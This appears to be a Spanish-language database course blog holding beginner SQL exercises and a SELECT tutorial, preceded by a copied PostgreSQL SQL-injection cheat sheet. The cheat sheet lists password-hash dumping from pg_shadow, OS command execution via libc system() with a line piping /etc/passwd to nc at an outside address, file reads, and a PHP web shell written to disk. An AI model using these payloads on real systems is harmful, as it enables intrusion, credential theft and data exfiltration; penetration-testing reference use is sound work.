lunes, 27 de abril de 2015
sábado, 25 de abril de 2015
viernes, 17 de abril de 2015
cheat sheet postgresql
Version | SELECT version() |
Comments | SELECT 1; –comment SELECT /*comment*/1; |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
List Users | SELECT usename FROM pg_user |
List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | SELECT current_database() |
List Databases | SELECT datname FROM pg_database |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
ASCII Value -> Char | SELECT chr(65); |
Char -> ASCII Value | SELECT ascii(‘A’); |
Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
Make DNS Requests | Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
|
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try. – priv user can also read/write files by mapping libc functions |
Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
Drop Users | DROP USER test1; — priv |
Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
Default/System Databases | template0 template1 |
sábado, 11 de abril de 2015
Ejercicios sobre Pedidos.sql
Realice los siguientes ejercicios:
- 1. Mostrar la información de los productos.
- 2. Obtener la información de los empleados.
- 3. Listar los proveedores existentes.
- 4. Mostrar la descripción y existencias de los productos.
- 5. Mostrar la descripción y existencias de los productos
ordenados por descripción.
- 6. Mostrar la descripción y existencias de los productos
ordenados por las existencias de forma descendente y descripción ascendente.
- 7. Agregar la columna ciudad a la tabla proveedor.
- 8. Actualiza la información de los proveedores de la siguiente
forma: 3 en Bucaramanga, 2 en Bogotá DC y el resto en Medellín.
- 9. Muestre el identificador, nombre y contacto de los
proveedores.
- 10. Muestre nombre y contacto de los proveedores ubicados en la
ciudad de Bucaramanga y ordenados por el nombre.
- 11. Obtenga la información de los productos cuyas existencias
son mayores a 100.
- 12. Obtenga ahora los productos cuyas existencias son mayores a
100 pero menores a 300.
- 13. Muestre solo los productos cuyas existencias son menores de
90 o los mayores o iguales a 200.
- 14. Liste los empleados cuyos nombres empiezan por la consonante
'p'.
- 15. Liste los empleados cuyos nombres empiezan por la consonante
'm' independiente si está escrito en mayúscula o minúscula.
- 16. Muestra los empleados que tienen la vocal 'a' en la segunda
letra del nombre.
- 17. Obtenga los productos que tienen 'll' en su descripción.
- 18. Obtenga los productos que tienen 'll' en su descripción y la
categoría es 100 que es Cárnicos.
- 19. Agregue el campo salario a la tabla empleados que sea un
decimal de 10 dígitos donde uno de ellos es decimal.
- 20. Actualiza los salarios de la siguiente forma, 3 empleados
ganan: 617000, 2 ganan 1200000 y el resto gana 2000000.
- 21. Muestre los empleados que le reportan a Juan Cruz.
- 22. Muestre los empleados que no le reportan a nadie.
- 23. Agregue la columna edad a la tabla empleado.
- 24. Utilizando la fecha de nacimiento calcule la edad y
actualice la información.
- 25. La empresa está estudiando la posibilidad de subir los
salarios en un 5%, 8% y 11% a los empleados que actualmente ganen el salario mínimo,
por lo tanto calcule y muestre utilizando un alias para ver como quedarían los
salarios sin afectar la tabla.
- 26. Teniendo en cuenta el estudio la empresa decidió aumentar en
un 5% los salarios para los empleados que actualmente ganan un mínimo.
- 27. Realice un informe donde muestre el identificador, nombre,
apellido y el salario ordenado por este último atributo.
- 28. Muestre los empleados cuya fecha de cumpleaños esta entre
enero y junio.
- 29. Arreglar el registro de la tabla de empleado donde la edad
es un valor negativo; cambie la fecha de nacimiento a 1985-04-02 y re-calcule la
edad.
- 30. Agregar una columna a la tabla de empleado que almacene la
fecha de inicio al trabajo.
- 31. Actualiza la fecha de inicio al trabajo en la tabla de empleados (Recuerda que la fecha de inicio de trabajo debe ser mayor a la fecha de nacimiento pero menor que la fecha actual).
- 32. Realice el modelo entidad - relación del script de la base de datos pedidos.sql.
Realice los siguientes ejercicios:
Ejercicios - Empleados & Departamentos
Crea las tablas
departamento
|
||
Campo
|
Tipo de Dato
|
Descripción
|
Dptonro
|
int4
|
Número
del departamento
Esla
clave primaria de la tabla
|
Dptonom
|
varchar(30)
|
Nombre
del departamento
|
Dptoubi
|
varchar(40)
|
Ubicación
del departamento.
|
empleado
|
||
Campo
|
Tipo de Dato
|
Descripción
|
empnro (PK)
|
int4
|
Número
del empleado
Es
la clave primaria de la tabla
|
empnom
|
varchar(60)
|
Nombre
del empleado
|
empcar
|
varchar(30)
|
Cargo
del empleado
|
empsup
|
int4
|
Número
del jefe del empleado.
Clave foránea que referencia (cíclicamente) la tabla empleado |
empfco
|
date
|
Fecha de contratación
|
empsal
|
decimal(11,2)
|
Salario empleado
|
comm
|
decimal(11,2)
|
Comisión
|
dptonro
|
int4
|
Número
del departamento al que el empleado está adscrito.
Clave
foránea que referencia la tabla departamento
|
Alimenta las tablas
departamento
empleado
Consultas
2. Liste los departamentos.
3. Halle la información de los empleados con el cargo de Secretaria.
4. Halle la información de los empleados con el cargo de Secretaria., pero ordenados por el nombre.
5. Obtén el nombre y salario de los empleados.
6. Muestra los departamentos, ordenados por el nombre.
7. Muestra el nombre de los departamentos, ordenados de forma ascendente por la ciudad.
8. Muestra el nombre de los departamentos, ordenados de forma descendente por la ciudad.
9. Obtén el cargo y nombre de los empleados, ordenados por el salario.
10. Lista el cargo y nombre de los empleados, ordenados por el cargo y salario.
11. Obtén el cargo y nombre de los empleados, ordenados por el cargo inversamente y salario ascendente.
12. Obtenga los salarios y las comisiones de los empleados en el departamento número 30.
13. Obtenga los salarios y las comisiones de los empleados en el departamento número 30, ordenados por la comisión.
14. Obtén las distintas comisiones que hay.
15. Obtenga los nuevos salarios que resultarían de sumar a los empleados del departamento 30 una gratificación de 100000.
16. Obtenga los nuevos salarios que resultarían de sumar a los empleados del departamento 30 una gratificación de 100000, pero mostrando también el salario anterior.
17. Hallar los empleados que tienen una comisión superior a la mitad de su salario.
18. Hallar los empleados cuya comisión es menor o igual que el 25% del sueldo.
19. Haga que en cada fila figure 'Nombre:' y 'Puesto:' anteponiéndose a su respectivo valor.
20. Hallar el salario y la comisión de los empleados cuyo número de empleado supera a 7500.
21. Hallar el salario, la comisión y el salario total (salario + comisión) de los empleados con comisión, ordenados por el número del empleado.
22. Hallar el nombre de los empleados que teniendo un salario superior a 1000000, tienen como director al empleado de código 7698.
23. Calcula y muestra el porcentaje que supone la comisión sobre el salario total ordenado por el nombre.
24. Muestra los empleados del departamento 10, cuyo nombre no contiene la cadena "anrri".
25. Buscar y mostrar los empleados que no son supervisados por ningún otro.
26. Muestra los nombres de los departamentos que no sean Ventas ni Investigación, ordenados por ubicación.
27. Deseamos conocer el nombre de los empleados y el código del departamento de las secretarias que no trabajan en el departamento 10, y cuyo salario es superior a 800000, ordenado por fecha de contratación.
28. Halla los datos de los empleados que, o bien su nombre empieza por A y su salario es superior a 1000000, o bien reciben comisión y trabajan en el departamento 30.
29. Lista los nombres y fecha de contratación de aquellos empleados que no son vendedores.
30. Suponiendo que el año próximo la subida del sueldo de cada empleado será del 6%, y el siguiente del 7%, halla los nombres y el salario actual, del año próximo y del siguiente, de cada empleado.
1. Muestre
los datos de los empleados.
2. Liste los departamentos.
3. Halle la información de los empleados con el cargo de Secretaria.
4. Halle la información de los empleados con el cargo de Secretaria., pero ordenados por el nombre.
5. Obtén el nombre y salario de los empleados.
6. Muestra los departamentos, ordenados por el nombre.
7. Muestra el nombre de los departamentos, ordenados de forma ascendente por la ciudad.
8. Muestra el nombre de los departamentos, ordenados de forma descendente por la ciudad.
9. Obtén el cargo y nombre de los empleados, ordenados por el salario.
10. Lista el cargo y nombre de los empleados, ordenados por el cargo y salario.
11. Obtén el cargo y nombre de los empleados, ordenados por el cargo inversamente y salario ascendente.
12. Obtenga los salarios y las comisiones de los empleados en el departamento número 30.
13. Obtenga los salarios y las comisiones de los empleados en el departamento número 30, ordenados por la comisión.
14. Obtén las distintas comisiones que hay.
15. Obtenga los nuevos salarios que resultarían de sumar a los empleados del departamento 30 una gratificación de 100000.
16. Obtenga los nuevos salarios que resultarían de sumar a los empleados del departamento 30 una gratificación de 100000, pero mostrando también el salario anterior.
17. Hallar los empleados que tienen una comisión superior a la mitad de su salario.
18. Hallar los empleados cuya comisión es menor o igual que el 25% del sueldo.
19. Haga que en cada fila figure 'Nombre:' y 'Puesto:' anteponiéndose a su respectivo valor.
20. Hallar el salario y la comisión de los empleados cuyo número de empleado supera a 7500.
21. Hallar el salario, la comisión y el salario total (salario + comisión) de los empleados con comisión, ordenados por el número del empleado.
22. Hallar el nombre de los empleados que teniendo un salario superior a 1000000, tienen como director al empleado de código 7698.
23. Calcula y muestra el porcentaje que supone la comisión sobre el salario total ordenado por el nombre.
24. Muestra los empleados del departamento 10, cuyo nombre no contiene la cadena "anrri".
25. Buscar y mostrar los empleados que no son supervisados por ningún otro.
26. Muestra los nombres de los departamentos que no sean Ventas ni Investigación, ordenados por ubicación.
27. Deseamos conocer el nombre de los empleados y el código del departamento de las secretarias que no trabajan en el departamento 10, y cuyo salario es superior a 800000, ordenado por fecha de contratación.
28. Halla los datos de los empleados que, o bien su nombre empieza por A y su salario es superior a 1000000, o bien reciben comisión y trabajan en el departamento 30.
29. Lista los nombres y fecha de contratación de aquellos empleados que no son vendedores.
30. Suponiendo que el año próximo la subida del sueldo de cada empleado será del 6%, y el siguiente del 7%, halla los nombres y el salario actual, del año próximo y del siguiente, de cada empleado.
Sentencia Select
Sentencia select
select [ distinct] | * | expresion[ as alias] | nombrecolumna[, ...]from nombretabla [, ...][ where condicion][ group by expresion[, ...] ][ having condicion[, ...] ][ order by expresion[ asc | desc ]
Seleccionar todo
select * from tablename;
EL asterisco * significa que queremos todas las columnas de la tabla.
A continuación podemos ver el resultado de la petición:
select * from categoria;
La sentencia select se utiliza para seleccionar datos de una base de datos.
Seleccionar columnas
select nombrecolumna1,nombrecolumna2 as alias from nombretabla;
En el siguiente ejemplo pedimos la identificación, nombre y contacto de todos los proveedores.
A continuación podemos ver el resultado de la petición,
select proveedorid, nombreprov, contacto from proveedores;
Selección condicionada
La sentencia where se usa para extraer sólo los registros que cumplan con una condición. Funciona como un filtro.
Sintaxis de la sentencia SQL WHERE
SELECT * | nombrecolumna | expresion as alias
FROM nombretabla
WHERE nombrecolumna operador valor;
Ejemplo de la sentencia SQL WHERE
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que tengan existencias mayores a 100. Conseguiremos los resultados que cumplan esa condición.
A continuación podemos ver el resultado de la petición,
select * from productos where existencia > 100;
Resultados ordenados
La claúsula ORDER BY se utiliza para ordenar los resultados a través de una o más columnas.
La claúsula ORDER BY ordena los registros de manera ascendente por defecto. Para hacerlo de manera descendente, se puede utilizar la claúsula DESC.
Sintaxis de la claúsula SQL ORDER BY
select nombrecolumna ,...,| * | expresion as alias
from nombretabla
order by nombrecolumna, nombrecolumna asc|desc;
Ejemplo de la claúsula ORDER BY
En este ejemplo ordenamos la tabla productos en orden alfabético utilizando la descripción:
select *
from productos
order by descripcion asc;
Selección condicionada multiple or / and
La sentencia where se usa para extraer sólo los registros que cumplan con una condición. Funciona como un filtro.
Sintaxis de la sentencia SQL WHERE
SELECT * | nombrecolumna | expresion as alias FROM nombretabla WHERE nombrecolumna operador valor or | and nombrecolumna operador valor;
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que tengan existencias mayores a 100 pero que sean menores de o iguale que 300. Conseguiremos los resultados que cumplan esa condición.
A continuación podemos ver el resultado de la petición,
select * from productos where existencia > 100 and categoriaid=100;
select * from productos where existencia > 100 or categoriaid=100;
Selección condicionada a una lista de valores
La sentencia where se usa para extraer sólo los registros que cumplan con una condición dada por una lista de valores. Funciona como un filtro.
Sintaxis de la sentencia SQL WHERE
SELECT * | nombrecolumna | expresion as alias FROM nombretabla WHERE nombrecolumna operador valor or | and nombrecolumna operador valor;
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que tengan existencias mayores a 400, 90 o 40;.
A continuación podemos ver el resultado de la petición,
select * from productos where existencia in (400, 90, 40);
Selección condicionada a un rango
La sentencia where se usa para extraer sólo los registros que cumplan con una rango de valores. Funciona como un filtro.
Sintaxis de la sentencia SQL WHERE
SELECT * | nombrecolumna | expresion as alias FROM nombretabla WHERE nombrecolumna between valor and valor;
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que tengan existencias 40 y 100.
A continuación podemos ver el resultado de la petición,
select * from productos where existencia between 40 and 100;
Selección condicionada a un patrón
La sentencia where se usa para extraer sólo los registros que cumplan con un patrón.
Sintaxis de la sentencia SQL WHERE
SELECT * | nombrecolumna | expresion as alias FROM nombretabla WHERE nombrecolumna like {patron};
LIKE le permite hacer una búsqueda basada en un patrón en vez de especificar exactamente lo que se desea.
{patrón} generalmente consiste en comodines. Aquí hay algunos ejemplos:
Comodín _ el underscore representa 1 caracter.
Comodín % representa muchos caracteres.
{patrón} generalmente consiste en comodines. Aquí hay algunos ejemplos:
Comodín _ el underscore representa 1 caracter.
Comodín % representa muchos caracteres.
- 'A_Z': Toda línea que comience con 'A', otro carácter y termine con 'Z'. Por ejemplo, 'ABZ' y 'A2Z' deberían satisfacer la condición, mientras 'AKKZ' no debería (debido a que hay dos caracteres entre A y Z en vez de uno).
- 'ABC%': Todas las líneas que comienzan con 'ABC'. Por ejemplo, 'ABCD' y 'ABCABC' ambas deberían satisfacer la condición.
- '%XYZ': Todas las líneas que terminan con 'XYZ'. Por ejemplo, 'WXYZ' y 'ZZXYZ' ambas deberían satisfacer la condición.
- '%AN%': : Todas las líneas que contienen el patrón 'AN' en cualquier lado. Por ejemplo, 'LOS ANGELES' y 'SAN FRANCISCO' ambos deberían satisfacer la condición.
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que su nombre comience por 'Sal'.
A continuación podemos ver el resultado de la petición,
select * from productos where descripcion like 'Sal%';
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que su nombre tenga 'll' en alguna parte.
A continuación podemos ver el resultado de la petición,
select * from productos where descripcion like '%ll%';
Resultados ordenados por ?
Si necesitamos enumerar el resultado en un orden particular utilizamos la clausula order by. Esto podría ser en orden ascendente, en orden descendente, o podría basarse en valores numéricos o de texto.
Sintaxis de la sentencia SQL WHERE
select * | nombrecolumna | expresion as alias from nombretabla where condicion order by nombrecolumna;
En este ejemplo, estamos pidiendo todos los registros de la tabla productos que tengan existencias 40 y 100 ordenadas por la descripción.
A continuación podemos ver el resultado de la petición,
select *
from productos
where existencia between 40 and 100
order by descripcion;